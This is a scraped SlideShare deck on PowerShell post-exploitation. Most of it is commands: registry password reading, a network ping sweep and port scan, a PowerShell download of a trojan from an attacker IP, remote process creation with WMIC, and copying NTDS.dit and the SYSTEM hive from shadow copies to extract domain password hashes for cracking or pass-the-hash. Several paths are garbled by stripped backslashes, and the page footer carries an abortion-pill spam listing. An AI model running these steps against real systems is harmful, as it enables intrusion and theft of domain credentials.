SlideShare uma empresa Scribd logo
1 de 35
Post exploitation using
powershell
$whoami
MIHIR SHAH | SHAHENSHAH
Github : github.com/shahenshah99
Powershell Fundamentals
PowerShell is a command-line and scripting
language framework for task automation and
configuration management. For the Windows pen
tester of today, it's a comprehensive and powerful
tool in your arsenal that just so happens to be
installed on all of your victim PCs.
What is Powershell?
When I described PowerShell as a task automation and
configuration management framework, that's more along
the lines of Microsoft's definition of PowerShell. As
hackers, we think of what things can do, not necessarily
how their creators defined them; in that sense, PowerShell
is the Windows command line on steroids.
Powershell Cmdlets
A cmdlet is really just a command, at least conceptually;
behind the scenes, they're .NET classes for implementing
particular functionality. They're the native body of
commands within PowerShell and they use a unique self-
explanatory syntax style: Verb-Noun.
Working With registry
> $FormatEnumerationLimit = -1
> Get-ItemProperty -Path
registry::hklmsoftwareTightVNCServer -Name
ControlPassword
> $password = 139, 16, 57, 246, 188, 35, 53, 209
> ForEach ($hex in $password) {
>> [Convert]::ToString($hex, 16) }
ICMP Enum
So, you have your foothold on a Windows box. Setting
aside the possibility of uploading our own tools, can we use
a plain off-the-shelf copy of Windows to poke around for a
potential next stepping stone? With PowerShell, there isn't
much we can't do.
> 1..255 | % {echo "192.168.63.$_"; ping -n 1
-w 100 192.168.63.$_ | Select-String ttl}
if we have the access to fire off PowerShell, don't
we have the access to meterpreter our way in
and/or upload a tool set?
Now that we have a host in mind, we can learn
more about it with this one liner designed to
attempt TCP connections to all specified ports:
> 1..1024 | % {echo ((New-Object
Net.Sockets.TcpClient).Connect("192.168.63.147
", $_)) "Open port - $_"} 2>$null
Delivering a Trojan to your target via
PowerShell
> (New-Object
System.Net.WebClient).DownloadFile("http://192.16
8.63.143/attack1.exe",
"c:windowstempattack1.exe")
Named pipes and security
Concepts
The named pipe concept gives the pipe a name, and by having
a name, it utilizes the filesystem so that interaction with it is like
interacting with a file. Remember the purpose of our pipelines, to
take the output of a command and pipe it as input to another
command.
named pipes, although they work a lot like files, cannot
actually be mounted in the filesystem. They have their own
filesystem and are referenced with .pipe[name]. There
are functions available to the software developer to work
with named pipes (for example CreateFile, WriteFile, and
CloseHandle)
WMIC
WMIC is the name of a tool and it stands for
Windows Management Instrumentation Command.
The tool allows us to perform WMI operations. WMI
is the Windows infrastructure for operations and
management data. In addition to providing
management data to other parts of Windows and
other products altogether, it's possible to automate
administrative tasks both locally and remotely with
WMI scripts and applications
WMIC commands fired off at the command line leave no
traces of software or code lying around. While WMI
activity can be logged, many organizations fail to turn it
on or review the logs.
In almost any Windows environment, WMI and
PowerShell can't be blocked.
TRY THIS
useraccount list /format:list
Being a little Ambitious?
/node:[IP address] /user:[DOMAIN][User]
computersystem list brief /format:list
How about actually
spawning something?
/node:[IP address] /user:[DOMAIN][User] header:
path win32_process call create "calc.exe"
Any Ideas?
Plundering Domain
Controllers by vssadmin
Creating a shadow file
> vssadmin Create Shadow /For=C:
The NTDS database is stored in the NTDS
directory under Windows, and you'll find
SYSTEM inside the system32config folder.
Creating a copy of the shadow file to
retrieve by the attacking box
> copy
?GLOBALROOTDeviceHarddiskVolumeShadowCopy1
WindowsNTDSNTDS.dit c:
> copy
?GLOBALROOTDeviceHarddiskVolumeShadowCo
py1Windowssystem32configSYSTEM c:
Retrieving files your
favourite way
apt-get install cifs-utils
Mount the filesystem to the
attacking box
mount -t cifs //<IP>/C$ -o username=Administrator
/root/mount/
Password hash extraction with libesedb and
ntdsxtract
# git clone https://github.com/libyal/libesedb
# git clone https://github.com/csababarta/ntdsxtract
# cd libesedb
# apt-get install git autoconf automake autopoint libtool pkg-config build-
essentia
l# ./synclibs.sh
# ./autogen.sh
# chmod +x configure
# ./configure
# make
# make install
# ldconfig
Exporting all the tables from
NTDS database
# esedbexport -m tables ntds.dit
Where’s the hash?
We can pass the data table and link table to the dsusers
Python script, along with the location of the SYSTEM hive
(which contains the SYSKEY), and ask the script to nicely
format our hashes into a cracker-friendly format:
# cd ntdsxtract
# python dsusers.py
/root/ntds/ntds.dit.export/datatable
/root/ntds/ntds.dit.export/link_table /root/ntds --
syshive /root/ntds/SYSTEM --passwordhashes -
-lmoutfile /root/ntds/lm.txt --ntoutfile
/root/ntds/nt.txt --pwdformat ophc
You may either crack the
password using John or just
pass-the-hash using
mimikatz
Any Questions?
THANK YOU

Mais conteúdo relacionado

Mais procurados

PM : code faster
PM : code fasterPM : code faster
PM : code faster
PHPPRO
 
Windows Registry Tips & Tricks
Windows Registry Tips & TricksWindows Registry Tips & Tricks
Windows Registry Tips & Tricks
Raghav Bisht
 
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
Combell NV
 
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูลบทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
Priew Chakrit
 

Mais procurados (17)

Creating a keystroke logger in unix shell scripting
Creating a keystroke logger in unix shell scriptingCreating a keystroke logger in unix shell scripting
Creating a keystroke logger in unix shell scripting
 
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
Exploiting Client-Side Vulnerabilities and Establishing a VNC SessionExploiting Client-Side Vulnerabilities and Establishing a VNC Session
Exploiting Client-Side Vulnerabilities and Establishing a VNC Session
 
Auditing System Password Using L0phtcrack
Auditing System Password Using L0phtcrackAuditing System Password Using L0phtcrack
Auditing System Password Using L0phtcrack
 
PM : code faster
PM : code fasterPM : code faster
PM : code faster
 
Final opensource record 2019
Final opensource record 2019Final opensource record 2019
Final opensource record 2019
 
Windows Registry Tips & Tricks
Windows Registry Tips & TricksWindows Registry Tips & Tricks
Windows Registry Tips & Tricks
 
3 level cert tomcat
3 level cert tomcat3 level cert tomcat
3 level cert tomcat
 
DNN Upgrades Made Simple (DNN Summit 2019)
DNN Upgrades Made Simple (DNN Summit 2019)DNN Upgrades Made Simple (DNN Summit 2019)
DNN Upgrades Made Simple (DNN Summit 2019)
 
Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Speech for Windows Phone 8
Speech for Windows Phone 8Speech for Windows Phone 8
Speech for Windows Phone 8
 
PowerShell 101
PowerShell 101PowerShell 101
PowerShell 101
 
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูลบทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
บทที่ 3 การเขียนโปรแกรมติดต่อฐานข้อมูล
 
10 windows 7 commands every administrator should know
10 windows 7 commands every administrator should know10 windows 7 commands every administrator should know
10 windows 7 commands every administrator should know
 
Drupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on WindowsDrupal, Memcache and Solr on Windows
Drupal, Memcache and Solr on Windows
 
Windows power shell and active directory
Windows power shell and active directoryWindows power shell and active directory
Windows power shell and active directory
 
Migration from ASP to ASP.NET
Migration from ASP to ASP.NETMigration from ASP to ASP.NET
Migration from ASP to ASP.NET
 
PHP: The Beginning and the Zend
PHP: The Beginning and the ZendPHP: The Beginning and the Zend
PHP: The Beginning and the Zend
 

Semelhante a Post exploitation using powershell

Semelhante a Post exploitation using powershell (20)

Introduction to Powershell Version 5
Introduction to Powershell Version 5Introduction to Powershell Version 5
Introduction to Powershell Version 5
 
Power shell training
Power shell trainingPower shell training
Power shell training
 
PowerShell for SharePoint Developers
PowerShell for SharePoint DevelopersPowerShell for SharePoint Developers
PowerShell for SharePoint Developers
 
Introduction to PowerShell
Introduction to PowerShellIntroduction to PowerShell
Introduction to PowerShell
 
Get-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for EvilGet-Help: An intro to PowerShell and how to Use it for Evil
Get-Help: An intro to PowerShell and how to Use it for Evil
 
The Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George DobreaThe Dark Side of PowerShell by George Dobrea
The Dark Side of PowerShell by George Dobrea
 
Command line for the beginner - Using the command line in developing for the...
Command line for the beginner -  Using the command line in developing for the...Command line for the beginner -  Using the command line in developing for the...
Command line for the beginner - Using the command line in developing for the...
 
Windows PowerShell
Windows PowerShellWindows PowerShell
Windows PowerShell
 
Windows batch scripting
Windows batch scriptingWindows batch scripting
Windows batch scripting
 
Wamp & LAMP - Installation and Configuration
Wamp & LAMP - Installation and ConfigurationWamp & LAMP - Installation and Configuration
Wamp & LAMP - Installation and Configuration
 
Containers: The What, Why, and How
Containers: The What, Why, and HowContainers: The What, Why, and How
Containers: The What, Why, and How
 
PowerShell Remoting
PowerShell RemotingPowerShell Remoting
PowerShell Remoting
 
Backtrack Manual Part7
Backtrack Manual Part7Backtrack Manual Part7
Backtrack Manual Part7
 
THE BASIC TOOLS
THE BASIC TOOLSTHE BASIC TOOLS
THE BASIC TOOLS
 
No-script PowerShell v2
No-script PowerShell v2No-script PowerShell v2
No-script PowerShell v2
 
PowerShell-2
PowerShell-2PowerShell-2
PowerShell-2
 
The Veil-Framework
The Veil-FrameworkThe Veil-Framework
The Veil-Framework
 
Linux
LinuxLinux
Linux
 
Power Shell for System Admins - By Kaustubh
Power Shell for System Admins - By KaustubhPower Shell for System Admins - By Kaustubh
Power Shell for System Admins - By Kaustubh
 
Powershell notes
Powershell notesPowershell notes
Powershell notes
 

Mais de Mihir Shah

Mais de Mihir Shah (13)

Windows custom shellcoding
Windows custom shellcodingWindows custom shellcoding
Windows custom shellcoding
 
Seh based attack
Seh based attackSeh based attack
Seh based attack
 
Kubernetes
KubernetesKubernetes
Kubernetes
 
Securing docker containers
Securing docker containersSecuring docker containers
Securing docker containers
 
Buffer overflow
Buffer overflowBuffer overflow
Buffer overflow
 
Cracking the crypto
Cracking the cryptoCracking the crypto
Cracking the crypto
 
Stego.ppt
Stego.pptStego.ppt
Stego.ppt
 
Wi fi pentesting
Wi fi pentestingWi fi pentesting
Wi fi pentesting
 
Reversing with gdb
Reversing with gdbReversing with gdb
Reversing with gdb
 
ROP
ROPROP
ROP
 
Return Oriented Programming - ROP
Return Oriented Programming - ROPReturn Oriented Programming - ROP
Return Oriented Programming - ROP
 
PMKID ATTACK!!
PMKID ATTACK!!PMKID ATTACK!!
PMKID ATTACK!!
 
OAuth 2.0
OAuth 2.0OAuth 2.0
OAuth 2.0
 

Último

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Último (20)

CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..Understanding the FAA Part 107 License ..
Understanding the FAA Part 107 License ..
 
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ..."I see eyes in my soup": How Delivery Hero implemented the safety system for ...
"I see eyes in my soup": How Delivery Hero implemented the safety system for ...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Strategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a FresherStrategies for Landing an Oracle DBA Job as a Fresher
Strategies for Landing an Oracle DBA Job as a Fresher
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Vector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptxVector Search -An Introduction in Oracle Database 23ai.pptx
Vector Search -An Introduction in Oracle Database 23ai.pptx
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
Six Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal OntologySix Myths about Ontologies: The Basics of Formal Ontology
Six Myths about Ontologies: The Basics of Formal Ontology
 
Artificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : UncertaintyArtificial Intelligence Chap.5 : Uncertainty
Artificial Intelligence Chap.5 : Uncertainty
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 

Post exploitation using powershell

  • 2. $whoami MIHIR SHAH | SHAHENSHAH Github : github.com/shahenshah99
  • 3. Powershell Fundamentals PowerShell is a command-line and scripting language framework for task automation and configuration management. For the Windows pen tester of today, it's a comprehensive and powerful tool in your arsenal that just so happens to be installed on all of your victim PCs.
  • 4. What is Powershell? When I described PowerShell as a task automation and configuration management framework, that's more along the lines of Microsoft's definition of PowerShell. As hackers, we think of what things can do, not necessarily how their creators defined them; in that sense, PowerShell is the Windows command line on steroids.
  • 5. Powershell Cmdlets A cmdlet is really just a command, at least conceptually; behind the scenes, they're .NET classes for implementing particular functionality. They're the native body of commands within PowerShell and they use a unique self- explanatory syntax style: Verb-Noun.
  • 6. Working With registry > $FormatEnumerationLimit = -1 > Get-ItemProperty -Path registry::hklmsoftwareTightVNCServer -Name ControlPassword > $password = 139, 16, 57, 246, 188, 35, 53, 209 > ForEach ($hex in $password) { >> [Convert]::ToString($hex, 16) }
  • 7. ICMP Enum So, you have your foothold on a Windows box. Setting aside the possibility of uploading our own tools, can we use a plain off-the-shelf copy of Windows to poke around for a potential next stepping stone? With PowerShell, there isn't much we can't do.
  • 8. > 1..255 | % {echo "192.168.63.$_"; ping -n 1 -w 100 192.168.63.$_ | Select-String ttl}
  • 9. if we have the access to fire off PowerShell, don't we have the access to meterpreter our way in and/or upload a tool set?
  • 10. Now that we have a host in mind, we can learn more about it with this one liner designed to attempt TCP connections to all specified ports:
  • 11. > 1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.63.147 ", $_)) "Open port - $_"} 2>$null
  • 12. Delivering a Trojan to your target via PowerShell > (New-Object System.Net.WebClient).DownloadFile("http://192.16 8.63.143/attack1.exe", "c:windowstempattack1.exe")
  • 13. Named pipes and security Concepts The named pipe concept gives the pipe a name, and by having a name, it utilizes the filesystem so that interaction with it is like interacting with a file. Remember the purpose of our pipelines, to take the output of a command and pipe it as input to another command.
  • 14. named pipes, although they work a lot like files, cannot actually be mounted in the filesystem. They have their own filesystem and are referenced with .pipe[name]. There are functions available to the software developer to work with named pipes (for example CreateFile, WriteFile, and CloseHandle)
  • 15.
  • 16. WMIC WMIC is the name of a tool and it stands for Windows Management Instrumentation Command.
  • 17. The tool allows us to perform WMI operations. WMI is the Windows infrastructure for operations and management data. In addition to providing management data to other parts of Windows and other products altogether, it's possible to automate administrative tasks both locally and remotely with WMI scripts and applications
  • 18. WMIC commands fired off at the command line leave no traces of software or code lying around. While WMI activity can be logged, many organizations fail to turn it on or review the logs. In almost any Windows environment, WMI and PowerShell can't be blocked.
  • 20. Being a little Ambitious? /node:[IP address] /user:[DOMAIN][User] computersystem list brief /format:list
  • 21. How about actually spawning something? /node:[IP address] /user:[DOMAIN][User] header: path win32_process call create "calc.exe"
  • 24. Creating a shadow file > vssadmin Create Shadow /For=C:
  • 25. The NTDS database is stored in the NTDS directory under Windows, and you'll find SYSTEM inside the system32config folder.
  • 26. Creating a copy of the shadow file to retrieve by the attacking box > copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy1 WindowsNTDSNTDS.dit c: > copy ?GLOBALROOTDeviceHarddiskVolumeShadowCo py1Windowssystem32configSYSTEM c:
  • 27. Retrieving files your favourite way apt-get install cifs-utils
  • 28. Mount the filesystem to the attacking box mount -t cifs //<IP>/C$ -o username=Administrator /root/mount/
  • 29. Password hash extraction with libesedb and ntdsxtract # git clone https://github.com/libyal/libesedb # git clone https://github.com/csababarta/ntdsxtract # cd libesedb # apt-get install git autoconf automake autopoint libtool pkg-config build- essentia l# ./synclibs.sh # ./autogen.sh # chmod +x configure # ./configure # make # make install # ldconfig
  • 30. Exporting all the tables from NTDS database # esedbexport -m tables ntds.dit
  • 31. Where’s the hash? We can pass the data table and link table to the dsusers Python script, along with the location of the SYSTEM hive (which contains the SYSKEY), and ask the script to nicely format our hashes into a cracker-friendly format:
  • 32. # cd ntdsxtract # python dsusers.py /root/ntds/ntds.dit.export/datatable /root/ntds/ntds.dit.export/link_table /root/ntds -- syshive /root/ntds/SYSTEM --passwordhashes - -lmoutfile /root/ntds/lm.txt --ntoutfile /root/ntds/nt.txt --pwdformat ophc
  • 33. You may either crack the password using John or just pass-the-hash using mimikatz